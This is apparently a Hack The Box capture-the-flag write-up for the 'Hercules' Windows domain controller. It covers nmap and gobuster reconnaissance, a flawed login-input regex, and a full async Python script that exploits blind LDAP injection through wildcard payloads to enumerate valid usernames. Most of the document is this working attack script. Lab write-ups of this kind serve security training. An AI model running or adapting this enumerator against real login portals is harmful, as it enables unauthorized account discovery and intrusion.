Hack The Box - Season 9 HTB Hercules Writeup - Insane - Weekly - October 18th, 2025
Hercules HTB - Complete Writeup
12
Reconnaissance
Initial Nmap Scan
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to https://dc.hercules.htb/
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-10-20 07:36:53Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: hercules.htb0., Site: Default-First-Site-Name)
443/tcp open ssl/http Microsoft IIS httpd 10.0
|_http-title: Hercules Corp
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: hercules.htb0., Site: Default-First-Site-Name)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: hercules.htb0., Site: Default-First-Site-Name)
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: hercules.htb0., Site: Default-First-Site-Name)
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Key Findings:
- Windows Domain Controller (DC.hercules.htb)
- Active Directory services (LDAP on multiple ports)
- Kerberos authentication (port 88)
- IIS web server with SSL redirect
- WinRM over SSL (port 5986)
website at https://hercules.htb/

Directory Enumeration
gobuster dir -u https://hercules.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k
Results:
/login- Authentication portal/home- Redirects to login/content- Static resources
![[Pasted image 20251020105540.png]]
Initial Access - LDAP Injection in SSO Login
Vulnerability Discovery
The Hercules SSO login page contained a critical LDAP injection vulnerability. Analysis of the input validation revealed:
Flawed Regex Pattern:
data-val-regex-pattern="^[^!"#&'()*+,\:;<=>?[\]^`{|}~]+$"
Critical Omissions: The blacklist failed to block essential LDAP metacharacters:
*(wildcard character)&and|(logical operators)
Exploitation Process
Step 1: Initial Testing Testing * as username confirmed LDAP injection through differential response analysis.
Step 2: Boolean-Based Enumeration
- Valid prefixes returned "Login attempt failed"
- Invalid prefixes produced different responses
- Backend likely performed:
(&(objectClass=user)(sAMAccountName=INPUT))
Step 3: Automated Username Enumeration Developed a Python script using Breadth-First Search to systematically discover usernames:
#!/usr/bin/env python3
"""
Async LDAP username enumerator with parallel requests.
- Fetches fresh token/cookie before EVERY POST request
- Uses BFS approach with parallel character testing at each level
- Uses httpx for async requests
- Finds complete usernames efficiently
Requires: httpx
pip install httpx
"""
import asyncio
import httpx
import re
from collections import deque
from urllib.parse import quote
import time
# ---------------------------
# Config (edit for your target)
# ---------------------------
BASE = "https://[ATTACKER_IP]" # base URL (scheme + host)
LOGIN_PATH = "/Login" # POST target path
LOGIN_PAGE = "/login" # GET page to retrieve token/cookie
TARGET_URL = BASE + LOGIN_PATH # full POST URL
VERIFY_TLS = False # True if cert valid
USERNAME_FIELD = "Username"
PASSWORD_FIELD = "Password"
REMEMBER_FIELD = "RememberMe"
CSRF_FORM_FIELD = "__RequestVerificationToken" # form field name for token
CSRF_COOKIE_NAME = "__RequestVerificationToken"
# POST settings
PASSWORD_TO_SEND = "test"
DOUBLE_URL_ENCODE = True # Set True if you need double-encoding behavior
# Async settings
CONCURRENT_REQUESTS = 5 # Lower concurrency since we need fresh tokens
REQUEST_DELAY = 0.2 # Delay between batches to be polite
# BFS / charset
CHARSET = list("abcdefghijklmnopqrstuvwxyz0123456789.-_@")
MAX_USERNAME_LENGTH = 64 # safety limit to prevent infinite loops
VERBOSE = False
# Success indicator (valid user, wrong password)
SUCCESS_INDICATOR = "Login attempt failed"
# Simple regex to extract hidden input token
TOKEN_RE = re.compile(r'name=["\']{}["\']\s+type=["\']hidden["\']\s+value=["\']([^"\']+)["\']'.format(re.escape(CSRF_FORM_FIELD)), re.IGNORECASE)
class LDAPEnumerator:
def __init__(self):
self.valid_users = set()
def prepare_username_value(self, username: str, use_wildcard: bool = False) -> str:
"""Prepare username for sending with optional wildcard and encoding"""
username = username
if use_wildcard:
username = username + '*'
if not DOUBLE_URL_ENCODE:
return username
# Double-encode if needed
username = ''.join(f'%{byte:02X}' for byte in username.encode('utf-8'))
return username
# return quote(username, safe="")
async def fetch_token_and_cookie(self, client):
"""GET the login page and extract CSRF token and cookies"""
url = BASE + LOGIN_PAGE
try:
response = await client.get(url)
token = None
cookies = {}
# Get cookies from response
cookies = dict(response.cookies)
# Try to get token from cookie first
if CSRF_COOKIE_NAME in response.cookies:
token = response.cookies[CSRF_COOKIE_NAME]
if VERBOSE:
print(f"[i] Got token from cookie: {token[:10]}...")
# Try to parse from HTML
match = TOKEN_RE.search(response.text)
if match:
token = match.group(1)
if VERBOSE:
print(f"[i] Parsed token from HTML: {token[:10]}...")
return token, cookies
except Exception as e:
print(f"[!] Error fetching token: {e}")
return None, {}
async def test_single_username(self, username: str, use_wildcard: bool = False):
"""
Test a single username with fresh token/cookie for each request
"""
async with httpx.AsyncClient(
verify=VERIFY_TLS,
headers={
"User-Agent": "pentest-enum/1.0",
"Referer": BASE + LOGIN_PAGE,
"Origin": BASE,
"Content-Type": "application/x-www-form-urlencoded",
},
timeout=30.0,
# proxy="http://127.0.0.1:8080" # Adjust or remove if not using a proxy
) as client:
# Step 1: Get fresh token and cookies
token, cookies = await self.fetch_token_and_cookie(client)
if not token:
print(f"[!] Could not get token for '{username}', skipping")
return False
# Step 2: Prepare the POST request with fresh token and cookies
username_payload = self.prepare_username_value(username, use_wildcard)
data = {
USERNAME_FIELD: username_payload,
PASSWORD_FIELD: PASSWORD_TO_SEND,
REMEMBER_FIELD: "false",
CSRF_FORM_FIELD: token
}
try:
# Make POST request with fresh token and cookies
response = await client.post(
TARGET_URL,
data=data,
cookies=cookies,
follow_redirects=False
)
if 'appp' in response.text.lower():
print(f"skipping apppool account")
return False
is_valid = SUCCESS_INDICATOR in response.text
if VERBOSE:
status = "VALID" if is_valid else "invalid"
wildcard = " (*)" if use_wildcard else ""
print(f"[>] {username:20} -> {status}{wildcard}")
return is_valid
except Exception as e:
# if VERBOSE:
print(f"[!] Request failed for '{username}': {e}")
return False
async def test_username_batch(self, usernames, use_wildcard=False):
"""
Test a batch of usernames in parallel, each with its own fresh token/cookie
"""
if not usernames:
return {}
# Use semaphore to limit concurrency
semaphore = asyncio.Semaphore(CONCURRENT_REQUESTS)
async def bounded_test(username):
async with semaphore:
return username, await self.test_single_username(username, use_wildcard)
# Create tasks for all usernames
tasks = [bounded_test(username) for username in usernames]
# Execute all tasks concurrently
results_list = await asyncio.gather(*tasks)
# Convert to dictionary
results = {username: is_valid for username, is_valid in results_list}
return results
async def discover_first_characters(self):
"""Discover which first characters are valid by testing all charset in parallel"""
print(f"[*] Testing first characters: {''.join(CHARSET)}")
# Test all possible first characters in parallel
first_chars = [char for char in CHARSET]
results = await self.test_username_batch(first_chars, use_wildcard=True)
# Return characters that produced valid results
valid_chars = [char for char in first_chars if results.get(char, False)]
print(f"[+] Valid first characters: {''.join(valid_chars)}")
return valid_chars
async def extend_username(self, prefix):
"""Extend a username prefix by testing all next characters in parallel"""
if len(prefix) >= MAX_USERNAME_LENGTH:
return []
candidates = [prefix + char for char in CHARSET]
results = await self.test_username_batch(candidates, use_wildcard=True)
valid_extensions = [candidate for candidate in candidates if results.get(candidate, False)]
return valid_extensions
async def verify_exact_username(self, username):
"""Verify that a username is valid without wildcard"""
result = await self.test_single_username(username, use_wildcard=False)
return result
async def bfs_discover(self):
"""Main BFS discovery with parallel character testing"""
print("[*] Starting parallel BFS username discovery...")
# Start with discovering valid first characters
queue = deque(await self.discover_first_characters())
discovered_prefixes = set(queue)
complete_usernames = set()
level = 0
while queue:
level += 1
current_level_size = len(queue)
print(f"\n[*] Level {level}: testing {current_level_size} prefixes {set(queue)}")
next_level = []
# Process current level in batches
batch_size = CONCURRENT_REQUESTS
for i in range(0, len(queue), batch_size):
batch = list(queue)[i:i + batch_size]
# Test all extensions for this batch in parallel
extension_tasks = [self.extend_username(prefix) for prefix in batch]
extension_results = await asyncio.gather(*extension_tasks)
# Process extension results
for prefix, extensions in zip(batch, extension_results):
if not extensions:
# No extensions found, this might be a complete username
print(f"[+] testing username: {prefix}")
if await self.verify_exact_username(prefix):
if prefix not in complete_usernames:
complete_usernames.add(prefix)
print(f"[+] Found valid username: {prefix}")
else:
# Add valid extensions to next level
for extension in extensions:
if extension not in discovered_prefixes:
discovered_prefixes.add(extension)
next_level.append(extension)
# Small delay between batches to be polite
await asyncio.sleep(REQUEST_DELAY)
# Update queue for next level
queue = deque(next_level)
if VERBOSE and queue:
print(f"[*] Level {level} complete. Next level: {len(queue)} prefixes")
print(f"[*] Valid usernames so far: {sorted(complete_usernames)}")
# Safety check
if level > MAX_USERNAME_LENGTH:
print("[!] Reached maximum depth, stopping")
break
return sorted(complete_usernames)
async def main():
enumerator = LDAPEnumerator()
try:
results = await enumerator.bfs_discover()
print("\n" + "="*50)
print("DISCOVERY COMPLETE")
print("="*50)
if results:
print(f"Found {len(results)} valid usernames:")
for username in results:
print(f" - {username}")
else:
print("No valid usernames found.")
except Exception as e:
print(f"[!] Error during discovery: {e}")
if __name__ == "__main__":
asyncio.run(main())